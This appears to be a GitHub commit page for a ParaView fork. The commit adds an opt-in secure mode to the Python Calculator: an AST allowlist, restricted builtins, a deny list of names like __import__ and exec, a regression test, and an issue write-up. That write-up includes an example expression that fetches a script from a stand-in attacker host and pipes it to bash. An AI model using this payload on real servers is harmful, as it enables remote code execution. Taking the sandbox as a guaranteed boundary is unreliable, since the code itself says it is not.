Skip to content

Commit 79b9c0d

Browse files
committed
Security: Harden Python Calculator (Issue Kitware#1)\n\n- Add optional secure mode via PARAVIEW_CALCULATOR_SECURE to restrict eval/exec\n- Whitelist AST nodes and constrain call targets to safe builtins/helpers/np funcs\n- Rework globals to safe sandbox (no leaked modules)\n- Secure multiline exec path reuses validator and sandbox\n- Add regression test PythonCalculatorSecurity.py and wire into CTest\n- Ignore local build/ dirs in .gitignore\n\nDocs: issues/issue1.md and security.md for background
1 parent d475916 commit 79b9c0d

File tree

6 files changed

+391
-17
lines changed

6 files changed

+391
-17
lines changed

.gitignore

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,3 +7,5 @@
77
.ExternalData_SHA512_*
88
.DS_Store
99
CMakeUserPresets.json
10+
builds/
11+
build/

Remoting/Application/Testing/Python/CMakeLists.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@ vtk_module_test_data(
1414
set(PY_TESTS
1515
Animation.py
1616
AnimationCache.py,NO_VALID
17+
PythonCalculatorSecurity.py,NO_VALID
1718
AxesGridTestGridLines.py
1819
BackgroundColorBackwardsCompatibilityTest.py,NO_VALID
1920
CellIntegrator.py,NO_VALID
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
"""
2+
Security regression test for Issue 1.
3+
4+
Enables calculator secure mode and verifies that expressions cannot access
5+
dangerous builtins like __import__ or os.system via the Python Calculator.
6+
"""
7+
8+
import os
9+
import sys
10+
11+
# Ensure secure mode is active before importing ParaView modules that load the calculator
12+
os.environ["PARAVIEW_CALCULATOR_SECURE"] = "1"
13+
14+
from paraview.simple import Sphere, PythonCalculator # minimal imports
15+
16+
# Create a simple data source (no rendering/show to avoid Rendering group deps)
17+
sphere = Sphere()
18+
19+
# Create Python Calculator filter
20+
calc = PythonCalculator(Input=sphere)
21+
calc.Expression = "__import__('os').path is not None" # benign attribute access
22+
23+
# Force pipeline update to evaluate expression
24+
try:
25+
UpdatePipeline()
26+
except Exception as e:
27+
print('[INFO] Benign expression evaluation raised exception (unexpected pre-fix):', e)
28+
# Still proceed to exploit attempt
29+
30+
# Exploit attempt: Access to __import__('os').system should be blocked in secure mode
31+
calc2 = PythonCalculator(Input=sphere)
32+
calc2.Expression = "__import__('os').system is not None" # Should NOT be allowed after fix
33+
34+
vulnerable = False
35+
try:
36+
UpdatePipeline()
37+
# If we reach here without restriction, vulnerability present
38+
vulnerable = True
39+
except Exception as e:
40+
print('[INFO] Exception caught (potentially fixed state):', e)
41+
42+
# Hard fail the test only if vulnerability is still present (pre-fix expected FAIL)
43+
if vulnerable:
44+
print('[FAIL] Python Calculator allowed access to os.system via __import__ (Issue 1)')
45+
sys.exit(1)
46+
else:
47+
print('[PASS] Access to dangerous builtins blocked (post-fix behavior)')

Wrapping/Python/paraview/detail/calculator.py

Lines changed: 219 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -11,12 +11,200 @@
1111
import paraview
1212
import vtkmodules.numpy_interface.dataset_adapter as dsa
1313
from vtkmodules.numpy_interface.algorithms import *
14+
import vtkmodules.numpy_interface.algorithms as _alg
1415
# -- this will import vtkMultiProcessController and vtkMPI4PyCommunicator
1516

1617
from paraview.vtk import vtkDataObject, vtkDoubleArray, vtkSelectionNode, vtkSelection, vtkStreamingDemandDrivenPipeline
1718
from paraview.modules import vtkPVVTKExtensionsFiltersPython
1819
from paraview.vtk.util.numpy_support import get_numpy_array_type
1920
import textwrap
21+
import os
22+
import ast
23+
24+
# Optional secure mode: when PARAVIEW_CALCULATOR_SECURE is set to a truthy
25+
# value, expressions are validated using a conservative AST whitelist to
26+
# mitigate arbitrary code execution via the Python Calculator.
27+
_CALCULATOR_SECURE = os.environ.get("PARAVIEW_CALCULATOR_SECURE", "").lower() in ["1", "true", "yes", "on"]
28+
29+
# A small allowlist of builtin functions considered safe/commonly used in
30+
# calculator expressions. This list can be extended cautiously.
31+
_SAFE_BUILTINS = {
32+
'abs': abs,
33+
'min': min,
34+
'max': max,
35+
'len': len,
36+
'sum': sum,
37+
'float': float,
38+
'int': int,
39+
'pow': pow,
40+
'range': range,
41+
}
42+
43+
# Allowlist of numpy functions accessible via np.<func> in secure mode
44+
_SAFE_NUMPY_FUNCS = {
45+
'sin', 'cos', 'tan', 'arcsin', 'arccos', 'arctan',
46+
'sinh', 'cosh', 'tanh',
47+
'exp', 'log', 'log10', 'log1p', 'sqrt',
48+
'abs', 'fabs', 'sign', 'clip', 'round', 'floor', 'ceil',
49+
'minimum', 'maximum',
50+
'where', 'select',
51+
'mean', 'sum', 'prod', 'std', 'var',
52+
'min', 'max',
53+
'radians', 'degrees'
54+
}
55+
56+
# Whitelisted AST node types for expressions. We intentionally exclude
57+
# Import/Attribute access starting with underscores, function/lambda
58+
# definitions, comprehensions that could leak scope, etc. This list is
59+
# deliberately tight; broaden only with a security review.
60+
_ALLOWED_AST_NODES = (
61+
ast.Expression,
62+
ast.BoolOp,
63+
ast.BinOp,
64+
ast.UnaryOp,
65+
ast.IfExp,
66+
ast.Compare,
67+
ast.Call,
68+
ast.Num, # Py <3.8
69+
ast.Constant,
70+
ast.Name,
71+
ast.Load,
72+
ast.Attribute,
73+
ast.Subscript,
74+
ast.Slice,
75+
ast.Tuple,
76+
ast.List,
77+
ast.Dict,
78+
ast.Set,
79+
ast.ListComp,
80+
ast.SetComp,
81+
ast.DictComp,
82+
ast.GeneratorExp,
83+
ast.comprehension,
84+
ast.And,
85+
ast.Or,
86+
ast.Add,
87+
ast.Sub,
88+
ast.Mult,
89+
ast.Div,
90+
ast.FloorDiv,
91+
ast.Mod,
92+
ast.Pow,
93+
ast.USub,
94+
ast.UAdd,
95+
ast.Eq,
96+
ast.NotEq,
97+
ast.Lt,
98+
ast.LtE,
99+
ast.Gt,
100+
ast.GtE,
101+
ast.Is,
102+
ast.IsNot,
103+
ast.In,
104+
ast.NotIn,
105+
)
106+
107+
_DISALLOWED_NAMES = {"__import__", "eval", "exec", "open", "input", "compile", "globals", "locals", "vars"}
108+
109+
110+
def _collect_safe_helpers():
111+
"""Collect a conservative set of helper functions/names that are allowed
112+
in secure mode expressions. This includes algorithms.* functions and
113+
numpy under np/numpy aliases; excludes dangerous modules like os."""
114+
helpers = {}
115+
# algorithms functions
116+
try:
117+
for _name in dir(_alg):
118+
if _name.startswith('_'):
119+
continue
120+
_obj = getattr(_alg, _name)
121+
if callable(_obj):
122+
helpers[_name] = _obj
123+
except Exception:
124+
# If introspection fails, fall back to empty set (safer)
125+
pass
126+
# numpy shortcuts
127+
helpers['np'] = np
128+
helpers['numpy'] = np
129+
# selected safe helpers from this module
130+
for _name in ('pointIsNear', 'cellContainsPoint'):
131+
if _name in globals() and callable(globals()[_name]):
132+
helpers[_name] = globals()[_name]
133+
return helpers
134+
135+
136+
def _build_safe_globals():
137+
g = {"__builtins__": _SAFE_BUILTINS}
138+
g.update(_collect_safe_helpers())
139+
return g
140+
141+
142+
def _validate_ast(tree):
143+
allowed_call_names = set(_SAFE_BUILTINS.keys()) | set(_collect_safe_helpers().keys())
144+
for node in ast.walk(tree):
145+
if not isinstance(node, _ALLOWED_AST_NODES):
146+
raise ValueError("Expression contains disallowed construct: %s" % type(node).__name__)
147+
# Disallow any Name that is clearly unsafe
148+
if isinstance(node, ast.Name):
149+
if node.id in _DISALLOWED_NAMES or node.id.startswith('_'):
150+
raise ValueError("Use of disallowed name '%s' in expression" % node.id)
151+
# Disallow attribute access to dunder/private attributes
152+
if isinstance(node, ast.Attribute):
153+
if node.attr.startswith('_'):
154+
raise ValueError("Access to private attribute '%s' not allowed" % node.attr)
155+
# Constrain function call targets
156+
if isinstance(node, ast.Call):
157+
fn = node.func
158+
if isinstance(fn, ast.Name):
159+
if fn.id not in allowed_call_names:
160+
raise ValueError("Call to disallowed function '%s'" % fn.id)
161+
elif isinstance(fn, ast.Attribute):
162+
# Allow attribute calls only on numpy aliases (np / numpy)
163+
if not isinstance(fn.value, ast.Name) or fn.value.id not in {"np", "numpy"}:
164+
raise ValueError("Method calls are not allowed in secure mode")
165+
if fn.attr.startswith('_'):
166+
raise ValueError("Access to private attribute '%s' not allowed" % fn.attr)
167+
if fn.attr not in _SAFE_NUMPY_FUNCS:
168+
raise ValueError("Call to disallowed numpy function '%s'" % fn.attr)
169+
else:
170+
raise ValueError("Unsupported callable in expression")
171+
return True
172+
173+
174+
def _validate_exec_block(tree: ast.AST):
175+
"""Validate a multiline exec block: allow only simple assignments, bare
176+
expressions, and a final return, with each expression validated via
177+
_validate_ast. Reject any other statements."""
178+
if not isinstance(tree, ast.Module):
179+
raise ValueError("Invalid multiline block")
180+
for stmt in tree.body:
181+
if isinstance(stmt, ast.Return):
182+
# Validate return value expression
183+
if stmt.value is None:
184+
continue
185+
_validate_ast(ast.Expression(stmt.value))
186+
elif isinstance(stmt, ast.Assign):
187+
# Validate assigned value only; names are checked by expression validator
188+
_validate_ast(ast.Expression(stmt.value))
189+
elif isinstance(stmt, ast.Expr):
190+
# Bare expression line
191+
if stmt.value is not None:
192+
_validate_ast(ast.Expression(stmt.value))
193+
else:
194+
raise ValueError("Disallowed statement in secure multiline expression: %s" % type(stmt).__name__)
195+
196+
197+
def safe_eval(expression, eval_globals, eval_locals):
198+
"""Evaluate an expression safely using a restricted AST whitelist.
199+
200+
This does NOT guarantee perfect safety but blocks the most direct RCE
201+
primitives (e.g., __import__, dunder attribute traversal, eval/exec)."""
202+
tree = ast.parse(expression, mode='eval')
203+
_validate_ast(tree)
204+
# Provide a restricted builtin dict
205+
# Ignore passed-in globals in secure mode to avoid leaking modules
206+
g = _build_safe_globals()
207+
return eval(compile(tree, filename='<calculator-secure>', mode='eval'), g, eval_locals)
20208

21209

22210
def get_arrays(attribs, controller=None):
@@ -143,24 +331,38 @@ def compute(inputs, expression, ns=None, multiline=False):
143331
pass
144332

145333
if multiline:
146-
# Wrap multiline expressions returning a value in a function, and evaluate it.
147-
if "return" not in expression:
148-
raise ValueError(
149-
"Multiline expression does not contain a return statement.")
150-
151-
multilineFunction = f'def func():\n' \
152-
f'{textwrap.indent(expression, " " * 4)}\n' \
153-
f'result = func()\n'
154-
returnValueDict = {}
155-
156-
# `mylocals` need to be in the global `exec` scope, otherwise it would not be accessible inside the `func` scope
157-
exec(multilineFunction, dict(globals(), **mylocals), returnValueDict)
158-
159-
return returnValueDict['result']
334+
if _CALCULATOR_SECURE:
335+
# Validate the entire exec block and every expression within
336+
tree = ast.parse(expression, mode='exec')
337+
_validate_exec_block(tree)
338+
multilineFunction = f'def func():\n' \
339+
f'{textwrap.indent(expression, " " * 4)}\n' \
340+
f'result = func()\n'
341+
returnValueDict = {}
342+
g = _build_safe_globals()
343+
# Expose dataset variables into the function's globals
344+
g.update(mylocals)
345+
exec(multilineFunction, g, returnValueDict)
346+
return returnValueDict['result']
347+
else:
348+
# Original insecure path
349+
if "return" not in expression:
350+
raise ValueError(
351+
"Multiline expression does not contain a return statement.")
352+
353+
multilineFunction = f'def func():\n' \
354+
f'{textwrap.indent(expression, " " * 4)}\n' \
355+
f'result = func()\n'
356+
returnValueDict = {}
357+
exec(multilineFunction, dict(globals(), **mylocals), returnValueDict)
358+
return returnValueDict['result']
160359
else:
161360
finalRet = None
162-
for subEx in expression.split(' and '): # Used in 'extract_selection' to find data matching multiple criteria
163-
retVal = eval(subEx, globals(), mylocals)
361+
for subEx in expression.split(' and '):
362+
if _CALCULATOR_SECURE:
363+
retVal = safe_eval(subEx, None, mylocals)
364+
else:
365+
retVal = eval(subEx, globals(), mylocals)
164366
if finalRet is None:
165367
finalRet = retVal
166368
else:
@@ -250,7 +452,7 @@ def execute(self, expression, multiline=False):
250452
vtkRet = retVal.astype(get_numpy_array_type(self.GetResultArrayType()))
251453
else:
252454
# we can also get a scalar, convert to single element array of correct type
253-
vtkRet = numpy.asarray(retVal, get_numpy_array_type(self.GetResultArrayType()))
455+
vtkRet = np.asarray(retVal, get_numpy_array_type(self.GetResultArrayType()))
254456

255457
# by default, use filter ArrayAssociation for output attribute.
256458
outputAttribute = output.GetAttributes(self.GetArrayAssociation())

issues/issue1.md

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
# Issue 1: Arbitrary Code Execution via Python Calculator
2+
3+
**Severity:** High (CVSS ~8.6 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
4+
**Location:** `Wrapping/Python/paraview/detail/calculator.py` (`compute()` + multiline path using `eval` and `exec`)
5+
6+
## Description
7+
User-supplied expressions are evaluated with Python's `eval()` (and `exec()` for multiline) using a namespace that merges globals and dataset arrays. This grants broad access to Python builtins and modules, enabling arbitrary code execution if an untrusted or semi-trusted user can submit an expression (e.g., through ParaViewWeb, shared remote sessions, or scripted pipelines).
8+
9+
## Exploitation Scenario
10+
An authenticated but low-privilege user connected to a ParaViewWeb session enters an expression:
11+
```
12+
__import__('os').system('curl https://attacker/payload | bash')
13+
```
14+
This executes shell commands on the server hosting ParaView.
15+
16+
## Impact
17+
Full compromise of the ParaView server process: data exfiltration, lateral movement, execution of arbitrary binaries, tampering with in-memory visualization data, pivoting into HPC cluster nodes.
18+
19+
## Root Cause
20+
Unrestricted dynamic code evaluation for convenience without a security boundary or privilege layer.
21+
22+
## Recommendations
23+
1. Implement a restricted expression evaluator:
24+
- Parse with `ast.parse` and allow only safe nodes (`BinOp`, `UnaryOp`, `BoolOp`, `Compare`, `Name`, `Subscript`, `Attribute` with whitelist, `Call` on vetted math/array functions).
25+
- Reject any `Import`, `Exec`, `Lambda`, `ClassDef`, `FunctionDef`, `Attribute` chains resolving to dunder names.
26+
2. Provide a hardened deployment flag (e.g., `PARAVIEW_SECURE_EXPRESSIONS=1`) that disables dynamic evaluation entirely or limits to a predeclared function set.
27+
3. Remove dangerous builtins from the evaluation environment: supply `{'__builtins__': {}}` and selectively re-add safe math functions.
28+
4. Document security posture: expression evaluation is unsafe with untrusted users.
29+
5. Add regression tests ensuring attempts to access `__import__`, `open`, or `os` raise errors.
30+
6. (Optional) Sandbox execution in a separate subprocess with a time & memory limit; communicate results via IPC.
31+
32+
## Remediation Example (Outline)
33+
```python
34+
import ast
35+
ALLOWED_NODES = {ast.Expression, ast.BinOp, ast.UnaryOp, ast.Num, ast.Constant, ast.Name,
36+
ast.Load, ast.BoolOp, ast.Compare, ast.operator, ast.boolop, ast.cmpop,
37+
ast.Subscript, ast.Slice, ast.Index, ast.Attribute, ast.Call, ast.List,
38+
ast.Tuple}
39+
ALLOWED_FUNCS = { 'sin', 'cos', 'sqrt', 'min', 'max' }
40+
41+
class SafeVisitor(ast.NodeVisitor):
42+
def generic_visit(self, node):
43+
if type(node) not in ALLOWED_NODES:
44+
raise ValueError(f"Disallowed syntax: {type(node).__name__}")
45+
if isinstance(node, ast.Attribute) and node.attr.startswith('__'):
46+
raise ValueError('Dunder attribute blocked')
47+
if isinstance(node, ast.Call):
48+
if isinstance(node.func, ast.Name) and node.func.id not in ALLOWED_FUNCS:
49+
raise ValueError('Function not allowed')
50+
super().generic_visit(node)
51+
52+
def safe_eval(expr, vars):
53+
tree = ast.parse(expr, mode='eval')
54+
SafeVisitor().visit(tree)
55+
code = compile(tree, '<expr>', 'eval')
56+
return eval(code, {'__builtins__': {}}, vars)
57+
```
58+
59+
## Acceptance Criteria
60+
- Supplying dangerous expressions returns a clear error message.
61+
- All existing legitimate calculator expressions still function (add regression test coverage for representative examples).
62+
- Config flag exists to disable evaluation for hardened deployments.
63+
64+
## Follow-Up / Defense-in-Depth
65+
- Usage analytics to detect abnormal expression patterns.
66+
- Audit logging of rejected expressions.
67+
68+
---
69+
Prepared: 2025-10-03

0 commit comments

Comments
 (0)